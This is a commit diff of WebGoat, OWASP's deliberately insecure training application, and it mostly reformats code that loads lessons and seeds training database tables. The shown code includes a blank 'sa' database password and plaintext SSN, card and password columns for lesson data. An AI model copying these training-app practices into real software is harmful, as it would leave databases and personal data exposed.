* Gets the firstLesson attribute of the Course object * Gets the firstLesson attribute of the Course object
* *
@ -193,16 +186,16 @@ public class Course
roles.add(AbstractLesson.USER_ROLE); roles.add(AbstractLesson.USER_ROLE);
// Category 0 is the admin function. We want the first real category // Category 0 is the admin function. We want the first real category
// to be returned. This is noramally the General category and the Http Basics lesson // to be returned. This is noramally the General category and the Http Basics lesson
return ((AbstractLesson) getLessons((Category) getCategories().get(1), return ((AbstractLesson) getLessons((Category) getCategories().get(1), roles).get(0));
roles).get(0));
} }
/** /**
* Gets the lesson attribute of the Course object * Gets the lesson attribute of the Course object
* *
* @param lessonId Description of the Parameter * @param lessonId
* @param role Description of the Parameter * Description of the Parameter
* @param role
* Description of the Parameter
* @return The lesson value * @return The lesson value
*/ */
public AbstractLesson getLesson(WebSession s, int lessonId, List<String> roles) public AbstractLesson getLesson(WebSession s, int lessonId, List<String> roles)
@ -219,17 +212,12 @@ public class Course
AbstractLesson lesson = iter.next(); AbstractLesson lesson = iter.next();
// System.out.println("getLesson() at role: " + lesson.getRole()); // System.out.println("getLesson() at role: " + lesson.getRole());
if (lesson.getScreenId() == lessonId if (lesson.getScreenId() == lessonId && roles.contains(lesson.getRole())) { return lesson; }
&& roles.contains(lesson.getRole()))
{
return lesson;
}
} }
return null; return null;
} }
public AbstractLesson getLesson(WebSession s, int lessonId, String role) public AbstractLesson getLesson(WebSession s, int lessonId, String role)
{ {
List<String> roles = new Vector<String>(); List<String> roles = new Vector<String>();
@ -237,7 +225,6 @@ public class Course
return getLesson(s, lessonId, roles); return getLesson(s, lessonId, roles);
} }
public List getLessons(WebSession s, String role) public List getLessons(WebSession s, String role)
{ {
List<String> roles = new Vector<String>(); List<String> roles = new Vector<String>();
@ -245,11 +232,11 @@ public class Course
return getLessons(s, roles); return getLessons(s, roles);
} }
/** /**
* Gets the lessons attribute of the Course object * Gets the lessons attribute of the Course object
* *
* @param role Description of the Parameter * @param role
* Description of the Parameter
* @return The lessons value * @return The lessons value
*/ */
public List<AbstractLesson> getLessons(WebSession s, List<String> roles) public List<AbstractLesson> getLessons(WebSession s, List<String> roles)
@ -263,18 +250,18 @@ public class Course
while (categoryIter.hasNext()) while (categoryIter.hasNext())
{ {
lessonList.addAll(getLessons(s, (Category) categoryIter.next(), lessonList.addAll(getLessons(s, (Category) categoryIter.next(), roles));
roles));
} }
return lessonList; return lessonList;
} }
/** /**
* Gets the lessons attribute of the Course object * Gets the lessons attribute of the Course object
* *
* @param category Description of the Parameter * @param category
* @param role Description of the Parameter * Description of the Parameter
* @param role
* Description of the Parameter
* @return The lessons value * @return The lessons value
*/ */
private List<AbstractLesson> getLessons(Category category, List roles) private List<AbstractLesson> getLessons(Category category, List roles)
@ -286,8 +273,7 @@ public class Course
{ {
AbstractLesson lesson = (AbstractLesson) iter.next(); AbstractLesson lesson = (AbstractLesson) iter.next();
if (lesson.getCategory().equals(category) if (lesson.getCategory().equals(category) && roles.contains(lesson.getRole()))
&& roles.contains(lesson.getRole()))
{ {
lessonList.add(lesson); lessonList.add(lesson);
} }
@ -298,7 +284,6 @@ public class Course
return lessonList; return lessonList;
} }
public List getLessons(WebSession s, Category category, String role) public List getLessons(WebSession s, Category category, String role)
{ {
List<String> roles = new Vector<String>(); List<String> roles = new Vector<String>();
@ -306,7 +291,6 @@ public class Course
return getLessons(s, category, roles); return getLessons(s, category, roles);
} }
public List<AbstractLesson> getLessons(WebSession s, Category category, List<String> roles) public List<AbstractLesson> getLessons(WebSession s, Category category, List<String> roles)
{ {
if (s.isHackedAdmin()) if (s.isHackedAdmin())
@ -375,8 +359,7 @@ public class Course
lessons.add(lesson); lessons.add(lesson);
} }
} }
} } catch (Exception e)
catch (Exception e)
{ {
// System.out.println("Warning: " + e.getMessage()); // System.out.println("Warning: " + e.getMessage());
} }
@ -411,15 +394,21 @@ public class Course
lesson.setSourceFileName(absoluteFile); lesson.setSourceFileName(absoluteFile);
} }
if(absoluteFile.startsWith("/lesson_plans") && absoluteFile.endsWith(".html") && className.endsWith(fileName)) if (absoluteFile.startsWith("/lesson_plans") && absoluteFile.endsWith(".html")
&& className.endsWith(fileName))
{ {
//System.out.println("DEBUG: setting lesson plan file " + absoluteFile + " for lesson " + lesson.getClass().getName()); // System.out.println("DEBUG: setting lesson plan file " + absoluteFile + " for
// lesson " +
// lesson.getClass().getName());
// System.out.println("fileName: " + fileName + " == className: " + className ); // System.out.println("fileName: " + fileName + " == className: " + className );
lesson.setLessonPlanFileName(absoluteFile); lesson.setLessonPlanFileName(absoluteFile);
} }
if(absoluteFile.startsWith("/lesson_solutions") && absoluteFile.endsWith(".html") && className.endsWith(fileName)) if (absoluteFile.startsWith("/lesson_solutions") && absoluteFile.endsWith(".html")
&& className.endsWith(fileName))
{ {
//System.out.println("DEBUG: setting lesson solution file " + absoluteFile + " for lesson " + lesson.getClass().getName()); // System.out.println("DEBUG: setting lesson solution file " + absoluteFile + "
// for lesson " +
// lesson.getClass().getName());
// System.out.println("fileName: " + fileName + " == className: " + className ); // System.out.println("fileName: " + fileName + " == className: " + className );
lesson.setLessonSolutionFileName(absoluteFile); lesson.setLessonSolutionFileName(absoluteFile);
} }
@ -430,8 +419,10 @@ public class Course
/** /**
* Description of the Method * Description of the Method
* *
* @param path Description of the Parameter * @param path
* @param context Description of the Parameter * Description of the Parameter
* @param context
* Description of the Parameter
*/ */
public void loadCourses(WebgoatContext webgoatContext, ServletContext context, String path) public void loadCourses(WebgoatContext webgoatContext, ServletContext context, String path)
{ {

217
main/project/JavaSource/org/owasp/webgoat/session/CreateDB.java
View File

@ -1,37 +1,36 @@
package org.owasp.webgoat.session; package org.owasp.webgoat.session;
import java.sql.Connection; import java.sql.Connection;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.lessons.AbstractLesson; import org.owasp.webgoat.lessons.AbstractLesson;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -43,9 +42,11 @@ public class CreateDB
/** /**
* Description of the Method * Description of the Method
* *
* @param connection Description of the Parameter * @param connection
* Description of the Parameter
* *
* @exception SQLException Description of the Exception * @exception SQLException
* Description of the Exception
*/ */
private void createMessageTable(Connection connection) throws SQLException private void createMessageTable(Connection connection) throws SQLException
{ {
@ -56,8 +57,7 @@ public class CreateDB
{ {
String dropTable = "DROP TABLE messages"; String dropTable = "DROP TABLE messages";
statement.executeUpdate(dropTable); statement.executeUpdate(dropTable);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error dropping message database"); System.out.println("Error dropping message database");
} }
@ -65,26 +65,24 @@ public class CreateDB
// Create the new table // Create the new table
try try
{ {
String createTableStatement = "CREATE TABLE messages (" String createTableStatement = "CREATE TABLE messages (" + "num int not null," + "title varchar(50),"
+ "num int not null," + "title varchar(50)," + "message varchar(200)," + "user_name varchar(50) not null " + ")";
+ "message varchar(200),"
+ "user_name varchar(50) not null " + ")";
statement.executeUpdate(createTableStatement); statement.executeUpdate(createTableStatement);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error creating message database"); System.out.println("Error creating message database");
e.printStackTrace(); e.printStackTrace();
} }
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param connection Description of the Parameter * @param connection
* Description of the Parameter
* *
* @exception SQLException Description of the Exception * @exception SQLException
* Description of the Exception
*/ */
private void createProductTable(Connection connection) throws SQLException private void createProductTable(Connection connection) throws SQLException
{ {
@ -95,8 +93,7 @@ public class CreateDB
{ {
String dropTable = "DROP TABLE product_system_data"; String dropTable = "DROP TABLE product_system_data";
statement.executeUpdate(dropTable); statement.executeUpdate(dropTable);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error dropping product database"); System.out.println("Error dropping product database");
} }
@ -105,11 +102,10 @@ public class CreateDB
try try
{ {
String createTableStatement = "CREATE TABLE product_system_data (" String createTableStatement = "CREATE TABLE product_system_data ("
+ "productid varchar(6) not null primary key," + "productid varchar(6) not null primary key," + "product_name varchar(20)," + "price varchar(10)"
+ "product_name varchar(20)," + "price varchar(10)" + ")"; + ")";
statement.executeUpdate(createTableStatement); statement.executeUpdate(createTableStatement);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error creating product database"); System.out.println("Error creating product database");
e.printStackTrace(); e.printStackTrace();
@ -128,16 +124,16 @@ public class CreateDB
statement.executeUpdate(insertData5); statement.executeUpdate(insertData5);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param connection Description of the Parameter * @param connection
* Description of the Parameter
* *
* @exception SQLException Description of the Exception * @exception SQLException
* Description of the Exception
*/ */
private void createUserAdminTable(Connection connection) private void createUserAdminTable(Connection connection) throws SQLException
throws SQLException
{ {
Statement statement = connection.createStatement(); Statement statement = connection.createStatement();
@ -146,8 +142,7 @@ public class CreateDB
{ {
String dropTable = "DROP TABLE user_system_data"; String dropTable = "DROP TABLE user_system_data";
statement.executeUpdate(dropTable); statement.executeUpdate(dropTable);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error dropping user admin database"); System.out.println("Error dropping user admin database");
} }
@ -155,13 +150,10 @@ public class CreateDB
// Create the new table // Create the new table
try try
{ {
String createTableStatement = "CREATE TABLE user_system_data (" String createTableStatement = "CREATE TABLE user_system_data (" + "userid varchar(5) not null primary key,"
+ "userid varchar(5) not null primary key," + "user_name varchar(12)," + "password varchar(10)," + "cookie varchar(30)" + ")";
+ "user_name varchar(12)," + "password varchar(10),"
+ "cookie varchar(30)" + ")";
statement.executeUpdate(createTableStatement); statement.executeUpdate(createTableStatement);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error creating user admin database"); System.out.println("Error creating user admin database");
e.printStackTrace(); e.printStackTrace();
@ -180,13 +172,14 @@ public class CreateDB
statement.executeUpdate(insertData5); statement.executeUpdate(insertData5);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param connection Description of the Parameter * @param connection
* Description of the Parameter
* *
* @exception SQLException Description of the Exception * @exception SQLException
* Description of the Exception
*/ */
private void createUserDataTable(Connection connection) throws SQLException private void createUserDataTable(Connection connection) throws SQLException
{ {
@ -197,8 +190,7 @@ public class CreateDB
{ {
String dropTable = "DROP TABLE user_data"; String dropTable = "DROP TABLE user_data";
statement.executeUpdate(dropTable); statement.executeUpdate(dropTable);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error dropping user database"); System.out.println("Error dropping user database");
} }
@ -206,14 +198,11 @@ public class CreateDB
// Create the new table // Create the new table
try try
{ {
String createTableStatement = "CREATE TABLE user_data (" String createTableStatement = "CREATE TABLE user_data (" + "userid int not null,"
+ "userid int not null," + "first_name varchar(20)," + "first_name varchar(20)," + "last_name varchar(20)," + "cc_number varchar(30),"
+ "last_name varchar(20)," + "cc_number varchar(30)," + "cc_type varchar(10)," + "cookie varchar(20)," + "login_count int" + ")";
+ "cc_type varchar(10)," + "cookie varchar(20),"
+ "login_count int" + ")";
statement.executeUpdate(createTableStatement); statement.executeUpdate(createTableStatement);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error creating user database"); System.out.println("Error creating user database");
e.printStackTrace(); e.printStackTrace();
@ -248,7 +237,6 @@ public class CreateDB
statement.executeUpdate(insertData13); statement.executeUpdate(insertData13);
} }
private void createLoginTable(Connection connection) throws SQLException private void createLoginTable(Connection connection) throws SQLException
{ {
Statement statement = connection.createStatement(); Statement statement = connection.createStatement();
@ -258,8 +246,7 @@ public class CreateDB
{ {
String dropTable = "DROP TABLE user_login"; String dropTable = "DROP TABLE user_login";
statement.executeUpdate(dropTable); statement.executeUpdate(dropTable);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error dropping user_login table"); System.out.println("Error dropping user_login table");
} }
@ -267,11 +254,10 @@ public class CreateDB
// Create the new table // Create the new table
try try
{ {
String createTableStatement = "CREATE TABLE user_login (" String createTableStatement = "CREATE TABLE user_login (" + "userid varchar(5),"
+ "userid varchar(5)," + "webgoat_user varchar(20)" + ")"; + "webgoat_user varchar(20)" + ")";
statement.executeUpdate(createTableStatement); statement.executeUpdate(createTableStatement);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error creating user database"); System.out.println("Error creating user database");
e.printStackTrace(); e.printStackTrace();
@ -279,16 +265,16 @@ public class CreateDB
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param connection Description of the Parameter * @param connection
* Description of the Parameter
* *
* @exception SQLException Description of the Exception * @exception SQLException
* Description of the Exception
*/ */
private void createWeatherDataTable(Connection connection) private void createWeatherDataTable(Connection connection) throws SQLException
throws SQLException
{ {
Statement statement = connection.createStatement(); Statement statement = connection.createStatement();
@ -297,8 +283,7 @@ public class CreateDB
{ {
String dropTable = "DROP TABLE weather_data"; String dropTable = "DROP TABLE weather_data";
statement.executeUpdate(dropTable); statement.executeUpdate(dropTable);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error dropping weather database"); System.out.println("Error dropping weather database");
} }
@ -306,13 +291,11 @@ public class CreateDB
// Create the new table // Create the new table
try try
{ {
String createTableStatement = "CREATE TABLE weather_data (" String createTableStatement = "CREATE TABLE weather_data (" + "station int not null,"
+ "station int not null," + "name varchar(20) not null," + "name varchar(20) not null," + "state char(2) not null," + "min_temp int not null,"
+ "state char(2) not null," + "min_temp int not null,"
+ "max_temp int not null" + ")"; + "max_temp int not null" + ")";
statement.executeUpdate(createTableStatement); statement.executeUpdate(createTableStatement);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error creating weather database"); System.out.println("Error creating weather database");
e.printStackTrace(); e.printStackTrace();
@ -333,7 +316,6 @@ public class CreateDB
statement.executeUpdate(insertData6); statement.executeUpdate(insertData6);
} }
// -------------------------------------------------------------------------- // --------------------------------------------------------------------------
// -------------------------------------------------------------------------- // --------------------------------------------------------------------------
// //
@ -353,8 +335,7 @@ public class CreateDB
{ {
String dropTable = "DROP TABLE employee"; String dropTable = "DROP TABLE employee";
statement.executeUpdate(dropTable); statement.executeUpdate(dropTable);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error: unable to drop employee table"); System.out.println("Error: unable to drop employee table");
} }
@ -364,14 +345,13 @@ public class CreateDB
{ {
String createTable = "CREATE TABLE employee (" String createTable = "CREATE TABLE employee ("
// + "userid INT GENERATED ALWAYS AS IDENTITY PRIMARY KEY," // + "userid INT GENERATED ALWAYS AS IDENTITY PRIMARY KEY,"
+ "userid INT NOT NULL PRIMARY KEY," + "userid INT NOT NULL PRIMARY KEY," + "first_name VARCHAR(20)," + "last_name VARCHAR(20),"
+ "first_name VARCHAR(20)," + "last_name VARCHAR(20)," + "ssn VARCHAR(12)," + "password VARCHAR(10)," + "title VARCHAR(20)," + "phone VARCHAR(13),"
+ "ssn VARCHAR(12)," + "password VARCHAR(10)," + "address1 VARCHAR(80)," + "address2 VARCHAR(80)," + "manager INT," + "start_date CHAR(8),"
+ "title VARCHAR(20)," + "phone VARCHAR(13)," + "salary INT," + "ccn VARCHAR(30)," + "ccn_limit INT," + "email VARCHAR(30)," // reason
+ "address1 VARCHAR(80)," + "address2 VARCHAR(80)," // for
+ "manager INT," + "start_date CHAR(8)," + "salary INT," // the
+ "ccn VARCHAR(30)," + "ccn_limit INT," // recent write-up
+ "email VARCHAR(30)," // reason for the recent write-up
+ "disciplined_date CHAR(8)," // date of write up, NA otherwise + "disciplined_date CHAR(8)," // date of write up, NA otherwise
+ "disciplined_notes VARCHAR(60)," // reason for the recent write-up + "disciplined_notes VARCHAR(60)," // reason for the recent write-up
+ "personal_description VARCHAR(60)" // We can be rude here + "personal_description VARCHAR(60)" // We can be rude here
@ -379,8 +359,7 @@ public class CreateDB
+ ")"; + ")";
statement.executeUpdate(createTable); statement.executeUpdate(createTable);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error: unable to create employee table"); System.out.println("Error: unable to create employee table");
} }
@ -447,7 +426,6 @@ public class CreateDB
} }
private void createRolesTable(Connection connection) throws SQLException private void createRolesTable(Connection connection) throws SQLException
{ {
Statement statement = connection.createStatement(); Statement statement = connection.createStatement();
@ -456,21 +434,18 @@ public class CreateDB
{ {
String dropTable = "DROP TABLE roles"; String dropTable = "DROP TABLE roles";
statement.executeUpdate(dropTable); statement.executeUpdate(dropTable);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error: unable to drop roles"); System.out.println("Error: unable to drop roles");
} }
try try
{ {
String createTable = "CREATE TABLE roles (" String createTable = "CREATE TABLE roles (" + "userid INT NOT NULL," + "role VARCHAR(10) NOT NULL,"
+ "userid INT NOT NULL," + "role VARCHAR(10) NOT NULL,"
+ "PRIMARY KEY (userid, role)" + ")"; + "PRIMARY KEY (userid, role)" + ")";
statement.executeUpdate(createTable); statement.executeUpdate(createTable);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error: Unable to create role table"); System.out.println("Error: Unable to create role table");
} }
@ -502,7 +477,6 @@ public class CreateDB
statement.executeUpdate(insertData12); statement.executeUpdate(insertData12);
} }
private void createAuthTable(Connection connection) throws SQLException private void createAuthTable(Connection connection) throws SQLException
{ {
Statement statement = connection.createStatement(); Statement statement = connection.createStatement();
@ -511,22 +485,18 @@ public class CreateDB
{ {
String dropTable = "DROP TABLE auth"; String dropTable = "DROP TABLE auth";
statement.executeUpdate(dropTable); statement.executeUpdate(dropTable);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error: unable to drop auth"); System.out.println("Error: unable to drop auth");
} }
try try
{ {
String createTable = "CREATE TABLE auth (" String createTable = "CREATE TABLE auth (" + "role VARCHAR(10) NOT NULL,"
+ "role VARCHAR(10) NOT NULL," + "functionid VARCHAR(20) NOT NULL," + "PRIMARY KEY (role, functionid)" + ")";
+ "functionid VARCHAR(20) NOT NULL,"
+ "PRIMARY KEY (role, functionid)" + ")";
statement.executeUpdate(createTable); statement.executeUpdate(createTable);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error: unable to create auth table"); System.out.println("Error: unable to create auth table");
} }
@ -567,16 +537,13 @@ public class CreateDB
// Add a permission for the webgoat role to see the source. // Add a permission for the webgoat role to see the source.
// The challenge(s) will change the default role to "challenge" // The challenge(s) will change the default role to "challenge"
String insertData26 = "INSERT INTO auth VALUES('" String insertData26 = "INSERT INTO auth VALUES('" + AbstractLesson.USER_ROLE + "','" + WebSession.SHOWSOURCE
+ AbstractLesson.USER_ROLE + "','" + WebSession.SHOWSOURCE
+ "')"; + "')";
String insertData27 = "INSERT INTO auth VALUES('" String insertData27 = "INSERT INTO auth VALUES('" + AbstractLesson.USER_ROLE + "','" + WebSession.SHOWHINTS
+ AbstractLesson.USER_ROLE + "','" + WebSession.SHOWHINTS
+ "')"; + "')";
// Add a permission for the webgoat role to see the solution. // Add a permission for the webgoat role to see the solution.
// The challenge(s) will change the default role to "challenge" // The challenge(s) will change the default role to "challenge"
String insertData28 = "INSERT INTO auth VALUES('" String insertData28 = "INSERT INTO auth VALUES('" + AbstractLesson.USER_ROLE + "','" + WebSession.SHOWSOLUTION
+ AbstractLesson.USER_ROLE + "','" + WebSession.SHOWSOLUTION
+ "')"; + "')";
statement.executeUpdate(insertData1); statement.executeUpdate(insertData1);
@ -617,9 +584,7 @@ public class CreateDB
statement.executeUpdate(insertData28); statement.executeUpdate(insertData28);
} }
private void createOwnershipTable(Connection connection) throws SQLException
private void createOwnershipTable(Connection connection)
throws SQLException
{ {
Statement statement = connection.createStatement(); Statement statement = connection.createStatement();
@ -627,21 +592,18 @@ public class CreateDB
{ {
String dropTable = "DROP TABLE ownership"; String dropTable = "DROP TABLE ownership";
statement.executeUpdate(dropTable); statement.executeUpdate(dropTable);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error: unable to drop ownership"); System.out.println("Error: unable to drop ownership");
} }
try try
{ {
String createTable = "CREATE TABLE ownership (" String createTable = "CREATE TABLE ownership (" + "employer_id INT NOT NULL," + "employee_id INT NOT NULL,"
+ "employer_id INT NOT NULL," + "employee_id INT NOT NULL,"
+ "PRIMARY KEY (employee_id, employer_id)" + ")"; + "PRIMARY KEY (employee_id, employer_id)" + ")";
statement.executeUpdate(createTable); statement.executeUpdate(createTable);
} } catch (SQLException e)
catch (SQLException e)
{ {
System.out.println("Error: unable to create ownership table"); System.out.println("Error: unable to create ownership table");
} }
@ -756,7 +718,6 @@ public class CreateDB
} }
// -------------------------------------------------------------------------- // --------------------------------------------------------------------------
// //
// End of WebGoat Financials // End of WebGoat Financials
@ -766,9 +727,11 @@ public class CreateDB
/** /**
* Description of the Method * Description of the Method
* *
* @param connection Description of the Parameter * @param connection
* Description of the Parameter
* *
* @exception SQLException Description of the Exception * @exception SQLException
* Description of the Exception
*/ */
public void makeDB(Connection connection) throws SQLException public void makeDB(Connection connection) throws SQLException
{ {

85
main/project/JavaSource/org/owasp/webgoat/session/DatabaseUtilities.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.session; package org.owasp.webgoat.session;
import java.io.IOException; import java.io.IOException;
@ -8,39 +9,37 @@ import java.sql.ResultSetMetaData;
import java.sql.SQLException; import java.sql.SQLException;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.apache.ecs.MultiPartElement; import org.apache.ecs.MultiPartElement;
import org.apache.ecs.html.B; import org.apache.ecs.html.B;
import org.apache.ecs.html.TD; import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR; import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -52,8 +51,7 @@ public class DatabaseUtilities
private static Map<String, Connection> connections = new HashMap<String, Connection>(); private static Map<String, Connection> connections = new HashMap<String, Connection>();
private static Map<String, Boolean> dbBuilt = new HashMap<String, Boolean>(); private static Map<String, Boolean> dbBuilt = new HashMap<String, Boolean>();
public static Connection getConnection(WebSession s) public static Connection getConnection(WebSession s) throws ClassNotFoundException, SQLException
throws ClassNotFoundException, SQLException
{ {
return getConnection(s.getUserName(), s.getWebgoatContext()); return getConnection(s.getUserName(), s.getWebgoatContext());
} }
@ -62,12 +60,12 @@ public class DatabaseUtilities
throws ClassNotFoundException, SQLException throws ClassNotFoundException, SQLException
{ {
Connection conn = connections.get(user); Connection conn = connections.get(user);
if (conn != null && !conn.isClosed()) if (conn != null && !conn.isClosed()) return conn;
return conn;
conn = makeConnection(user, context); conn = makeConnection(user, context);
connections.put(user, conn); connections.put(user, conn);
if (dbBuilt.get(user) == null) { if (dbBuilt.get(user) == null)
{
new CreateDB().makeDB(conn); new CreateDB().makeDB(conn);
dbBuilt.put(user, Boolean.TRUE); dbBuilt.put(user, Boolean.TRUE);
} }
@ -80,25 +78,21 @@ public class DatabaseUtilities
try try
{ {
Connection connection = connections.get(user); Connection connection = connections.get(user);
if (connection == null || connection.isClosed()) if (connection == null || connection.isClosed()) return;
return;
if (connection.getMetaData().getDatabaseProductName().toLowerCase().contains("oracle")) if (connection.getMetaData().getDatabaseProductName().toLowerCase().contains("oracle")) connection.close();
connection.close(); } catch (SQLException sqle)
}
catch (SQLException sqle)
{ {
sqle.printStackTrace(); sqle.printStackTrace();
} }
} }
private static Connection makeConnection(String user, WebgoatContext context) private static Connection makeConnection(String user, WebgoatContext context) throws ClassNotFoundException,
throws ClassNotFoundException, SQLException SQLException
{ {
Class.forName(context.getDatabaseDriver()); Class.forName(context.getDatabaseDriver());
if (context.getDatabaseConnectionString().contains("hsqldb")) if (context.getDatabaseConnectionString().contains("hsqldb")) return getHsqldbConnection(user, context);
return getHsqldbConnection(user, context);
String userPrefix = context.getDatabaseUser(); String userPrefix = context.getDatabaseUser();
String password = context.getDatabasePassword(); String password = context.getDatabasePassword();
@ -106,25 +100,30 @@ public class DatabaseUtilities
return DriverManager.getConnection(url, userPrefix + "_" + user, password); return DriverManager.getConnection(url, userPrefix + "_" + user, password);
} }
private static Connection getHsqldbConnection(String user, WebgoatContext context) private static Connection getHsqldbConnection(String user, WebgoatContext context) throws ClassNotFoundException,
throws ClassNotFoundException, SQLException SQLException
{ {
String url = context.getDatabaseConnectionString().replaceAll("\\$\\{USER\\}", user); String url = context.getDatabaseConnectionString().replaceAll("\\$\\{USER\\}", user);
return DriverManager.getConnection(url, "sa", ""); return DriverManager.getConnection(url, "sa", "");
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param results Description of the Parameter * @param results
* @param resultsMetaData Description of the Parameter * Description of the Parameter
* @param resultsMetaData
* Description of the Parameter
* *
* @return Description of the Return Value * @return Description of the Return Value
* *
* @exception IOException Description of the Exception * @exception IOException
* @exception SQLException Description of the Exception * Description of the Exception
* @exception SQLException
* Description of the Exception
*/ */
public static MultiPartElement writeTable(ResultSet results, public static MultiPartElement writeTable(ResultSet results, ResultSetMetaData resultsMetaData) throws IOException,
ResultSetMetaData resultsMetaData) throws IOException, SQLException SQLException
{ {
int numColumns = resultsMetaData.getColumnCount(); int numColumns = resultsMetaData.getColumnCount();
results.beforeFirst(); results.beforeFirst();
@ -151,8 +150,7 @@ public class DatabaseUtilities
for (int i = 1; i < (numColumns + 1); i++) for (int i = 1; i < (numColumns + 1); i++)
{ {
String str = results.getString(i); String str = results.getString(i);
if (str == null) if (str == null) str = "";
str = "";
row.addElement(new TD(str.replaceAll(" ", "&nbsp;"))); row.addElement(new TD(str.replaceAll(" ", "&nbsp;")));
} }
@ -163,8 +161,7 @@ public class DatabaseUtilities
} }
else else
{ {
return (new B( return (new B("Query Successful; however no data was returned from this query."));
"Query Successful; however no data was returned from this query."));
} }
} }

Some files were not shown because too many files have changed in this diff Show More